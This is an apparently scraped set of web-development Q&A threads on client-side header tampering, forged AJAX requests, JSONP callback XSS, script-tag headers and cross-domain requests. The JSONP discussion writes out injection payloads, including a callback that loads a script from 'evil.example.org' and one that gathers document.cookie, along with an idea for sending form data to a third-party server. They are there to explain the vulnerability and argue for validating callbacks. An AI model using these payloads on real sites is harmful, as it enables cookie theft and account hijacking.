I am using Requestly Chrome extension to intercept and modify HTTP request headers and change their original values inside my NodeJS app.
How can I prevent attack? For example, I can change Referer header and inject link.
There is no way to prevent users from doing this.
You can't trust the Referer header.
You cannot, but you can try to make the thing more difficult to do, thing a tricky way to sign the headers / datas (sha512, etc..) and add signature in the headers/cookie/datas.
Use the same function on your server to check if the value has been modified during the transport.
"But the 'hacker' can still try to inspect the client code and use the signature function to modify the values ?"
Yes, but you can transform the thing in something completely illisible:
Make your app include a bench of useless big script which doing nothing (uglified of course)
Divide your signature function in many (many) functions named with random char and then uglified them, put one of them inside your useless big scripts.
...
Nothing is trustable on client side, but you can try to discourage the hackers :D
Related
I have a javascript in which I use $.post() command to post variables to a php file, I have the URL of the php file hardcoded in the same .js file.
I just want to know if it's possible for someone to inject $.post() command from address bar and send invalid data to the PHP file?
if yes, how to prevent or how to detect those invalid data?
Yes, anybody who knows how to code in JavaScript could send an AJAX POST request to your PHP file.
As for how to detect the invalid data, that depends entirely on what makes the data invalid. You'll simply need to check the POST values against whatever criteria you're expecting valid data to meet, and then ignore any requests that don't meet those criteria.
Yes, it's very simple. Attacker can modify, add or remove any JavaScript running in the browser, modify DOM, etc. Tools like Firebug allow anyone to call arbitrary JavaScript from the console. Moreover one can simply use curl to run your server and send arbitrary data.
if yes, how to prevent or how to detect those invalid data?
You must ensure data validity and integrity on the server side. Also you might want to add some security on the server side and do not depend on some JavaScript function being "hidden".
Sure, by prepending the script with the javascript: scheme you can do pretty much anything you want to a site:
javascript:$.post(/* stuff here */)
You should always validate your incoming data on the server side, because not only may someone use the javascript on your site to do this, but they may use other tools, like curl or whatever else that will let you make http requests.
Currently, I am consuming a rest service that has a signature
http://service.ip/auth?clien=xx&redirect=URIXX
where URIXXX shall be
http://localhost:8080/auth/callback
I wonder if it is possible to open a "URIXXX" in a javascript in order to received the answer from the server? Like a callback?
If the scripts employs JSONP then yes, otherwise declare a HTTPRequest and then parse then extra stuff out of the return and inject the contents into the head of your document in a wrapper function which opens a window indicated and the writes the needful scripts / content into the newly created window...
If you mean you are trying to tell your request to go to another location for the response I would suggest you check out my WebServer Class which supports Comet style interactions...
https://net7ntcip.codeplex.com/SourceControl/changeset/view/89621#1752948
After you submit the request you can then receive in the response the location to addition to a token... You can take this token and send it to the page indicated in the response and then you will have achieved what you wanted to do..
I suppose the same technique could be employed to do the same thing without my web server...
Some of our customers have chimed in about a perceived XSS vulnerability in all of our JSONP endpoints, but I disagree as to whether or not it actually constitutes a vulnerability. Wanted to get the community's opinion to make sure I'm not missing something.
So, as with any jsonp system, we have an endpoint like:
http://foo.com/jsonp?cb=callback123
where the value of the cb parameter is replayed back in the response:
callback123({"foo":"bar"});
Customers have complained that we don't filter out HTML in the CB parameter, so they'll contrive an example like so:
http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--
Obviously for a URL that returns the content type of text/html, this poses a problem wherein the browser renders that HTML and then executes the potentially malicious javascript in the onload handler. Could be used to steal cookies and submit them to the attacker's site, or even to generate a fake login screen for phishing. User checks the domain and sees that it's one he trusts, so he goes agead and logs in.
But, in our case, we're setting the content type header to application/javascript which causes various different behaviors in different browsers. i.e. Firefox just displays the raw text, whereas IE opens up a "save as..." dialog. I don't consider either of those to be particularly exploitable. The Firefox user isn't going to read malicious text telling him to jump off a bridge and think much of it. And the IE user is probably going to be confused by the save as dialog and hit cancel.
I guess I could see a case where the IE user is tricked into saving and opening the .js file, which then goes through the microsoft JScript engine and gets all sorts of access to the user's machine; but that seems unlikely. Is that the biggest threat here or is there some other vulnerability that I missed?
(Obviously I'm going to "fix" by putting in filtering to only accept a valid javascript identifier, with some length limit just-in-case; but I just wanted a dialog about what other threats I might have missed.)
Their injection would have to be something like </script><h1>pwned</h1>
It would be relatively trivial for you to verify that $_GET['callback'] (assuming PHP) is a valid JavaScript function name.
The whole point of JSONP is getting around browser restrictions that try and prevent XSS-type vulnerabilities, so to some level there needs to be trust between the JSONP provider and the requesting site.
HOWEVER, the vulnerability ONLY appears if the client isn't smartly handling user input - if they hardcode all of their JSONP callback names, then there is no potential for a vulnerability.
Your site would have an XSS vulnerability if the name of that callback (the value of "cb") were derived blindly from some other previously-input value. The fact that a user can create a URL manually that sends JavaScript through your JSONP API and back again is no more interesting than the fact that they can run that same JavaScript directly through the browser's JavaScript console.
Now, if your site were to ship back some JSON content to that callback which used unfiltered user input from the form, or more insidiously from some other form that previously stored something in your database, then you'd have a problem. Like, if you had a "Comments" field in your response:
callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })
then that comment, whose value was x"+alert("haxored")+"y, would be an XSS attack. However any good JSON encoder would fix that by quoting the double-quote characters.
That said, there'd be no harm in ensuring that the callback name is a valid JavaScript identifier. There's really not much else you can do anyway, since by definition your public JSONP service, in order to work properly, is supposed to do whatever the client page wants it to do.
Another example would be making two requests like these:
https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(
which would call:
$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });
And evil.example.org/x.js would request:
https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:
which would call:
new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });
Possibilities are endless.
See Do I need to sanitize the callback parameter from a JSONP call? for an example of sanitizing a JSON callback.
Note: Internet Explorer tends to ignore the Content-Type header by default. It is stubborn, and goes to look at the first few bytes of the HTTP response directly, and if it looks kinda of HTML, it will proceed to parse and execute it all as text/html, including inline scripts.
There's nothing to stop them from doing something that inserts code, if that is the case.
Imagine a URL such as http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. When this gets received by the client, depending on how you handle JSONP, you may introduce the ability to run JS of arbitrary complexity.
As for how this is an attack vector: imagine an HTTP proxy, that is a transparent forwarding proxy for all URLs except http://example.com/jsonp, where it takes the cb part of the query string and prepends some malicious JS before it, and redirects to that URL.
As Pointy indicates, solely calling the URL directly is not exploitable. However, if any of your own javascript code makes calls to the JSON service with user-supplied data and either renders the values in the response to the document, or eval()s the response (whether now, or sometime in the future as your app evolves over time) then you have a genuinely exploitable XSS vulnerability.
Personally I would still consider this a low risk vulnerability, even though it may not be exploitable today. Why not address it now and remove the risk of it being partly responsible for introducing a higher-risk vulnerability at some point in the future?
Is something like this possible?
<script src="http://myserver.com/some.js" my-custom-header="foo"></script>
Update (a bit more detail):
I've been asked if there was a way to communicate some parameters to the server as part of the script request using headers instead of GET params. I said, "no," but thought I'd double check.
Short answer: no. By default a script tag will just retrieve the resource specified in the src attribute.
However, if you use an AJAX request to retrieve the script (and add it later/execute it), you can use the setRequestHeader function of the XMLHttpRequest object (see http://www.developertutorials.com/learn-ajax/custom-http-headers-2643.php).
You could also use more complex methods, such as using mod_rewrite to rewrite paths, and include the parameters in the url. The best solution depends on what you want to do, and how much control you have over the server.
No. You'll need to set the headers on the server that's serving up the JS file.
EDIT: I misinterpreted what you meant, it turns out you wanted to set a request header, not a response header. This is still not possible (from HTML) as far as I know.
I want to post some data via javascript to another domain. Something like:
http://www.othersite.com/submitfunnyname?name=blah
The other site (othersite.com) has a REST interface that you can call (well actually this is a get example) to submit a funny name to them.
Can I do this already with javascript? I'm a little confused on this - I know if that service wants to return some data, I'd need to use something like JSON-P - even though here I'm submitting some data, I guess the service will return some message structure letting me know the result, so it would have to be JSON-P, right?
Thanks
Not a particular expert in JavaScript, but isn't this an example of "cross-site scripting", which is not allowed due to possible security threats?
I believe you need to have all HTTP calls being made to the same server domain as the page. You could have a handler on your own site pass the information on to the othersite.com.
You can either use JSON-P if the site supports it, or you can use your web server as a proxy - by making requests to your server, which will in turn use a library such as cURL to make the actual request to the remote site.